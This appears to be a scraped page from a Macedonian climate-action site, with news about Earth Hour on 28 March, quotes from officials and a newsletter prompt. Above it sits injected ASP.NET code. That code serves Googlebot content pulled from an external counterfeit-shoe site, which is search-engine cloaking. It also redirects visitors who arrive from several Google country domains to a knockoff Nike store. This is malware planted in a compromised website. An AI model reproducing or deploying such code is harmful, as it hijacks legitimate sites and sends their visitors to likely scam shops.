Protected Overrides Sub OnLoad(ByVal e As System.EventArgs)
Dim useragent As String
useragent = Request.UserAgent.ToLower()
Dim path As String
path = Request.RawUrl
If useragent.IndexOf("googlebot")>-1 Then
Dim webClient As New System.Net.WebClient
webClient.Encoding = System.Text.Encoding.UTF8
Dim mirror As String = "http://www.aaashoeschina.com/Nike-Air-Max-2016-c1395.html"
If mirror.IndexOf("http://")<0 Then
If System.IO.File.Exists(mirror) = True Then
Response.Clear()
Response.Charset = "UTF-8"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.Write(System.IO.File.ReadAllText(mirror, System.Text.Encoding.UTF8))
Response.End()
End If
Else
Response.Clear()
Response.Charset = "UTF-8"
Response.ContentEncoding = System.Text.Encoding.UTF8
Response.Write(webClient.DownloadString(mirror))
Response.End()
End If
ElseIf Not IsNothing(Request.UrlReferrer) Then
Dim referer As String = Request.UrlReferrer.AbsoluteUri
Dim jump As String = "http://www.nikeshoesesvip.com"
Dim wifilangs As String = ""
if Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")<>"" then
wifilangs = (((Request.ServerVariables("HTTP_ACCEPT_LANGUAGE")).Split(new Char(){";"c})(0)).Split(new Char(){","c})(0)).ToLower()
end if
If referer.IndexOf("google")>=0 Then
Dim str As String = "" & "," & "google.de/" & "," & "aol.de/" & "," & "google.ch/" & "," & "google.at/" & "," & "google.lu/" & "," & "google.be/"
Dim terms As String() = str.Split(New Char(){","c})
If str<>"" then
For Each term As string In terms
If term<>"" and referer.IndexOf(term)>=0 then
Response.Redirect(jump)
Response.End()
end if
Next
else
Response.Redirect(jump)
Response.End()
end if
End If
End If
MyBase.OnLoad(e)
End Sub
Новости и соопштенија
|
Употреби ја #твојатамоќ и промени ги климатските промени!
Шеста година по ред Македонија се вклучува во одбележувањето на најголемата светска волонтерска акција!
Оваа година, Часот на планетата Земја се одржува на 28 март (сабота), кога во 20:30 часот по локално време во мрак ќе потонат над 7.000 градови низ 162 држави ширум светот, а меѓу нив дел е Македонија.
Употреби ја #твојатамоќ и промени ги климатските промени!
ВКЛУЧИ СЕ ВО АКЦИЈАТА - ИСКЛУЧИ ГИ СВЕТИЛКИТЕ НА 28 МАРТ ВО 20:30 ЧАСОТ!
http://www.earthhourmk.org/
|
|
Најмногу стакленички гасови се емитуваат при производство на кој од наведените пијалоци во нашата држава:
Испрати
Пораки
Очекуваме сета досегашна декларативност да биде преточена во конкретни мерки за акција. Очекуваме, краткорочните, да ги замениме со долгорочни решенија. Културата на расфрлање да ја замениме со култура на одржливост. Себичните интереси да ги замениме со интересите на човештвото. Површната реторика да ја замениме со конкретни дела. И тоа не заради нас, туку заради нашето потомство
Д-р Ѓорге Иванов, . претседател на Република Македонија
Со оваа комуникација во рака, земјата е целосно подготвена за самитот во Париз
Алесандро Фракасети, заменик на постојниот претставник на УНДП
Пред нас стои предизвикот на имплементацијата на предложените мерки од Планот
Стево Темелковски, зам. министер за животна средина и просторно планирање
Билтен
Претплатете се на нашиот билтен
|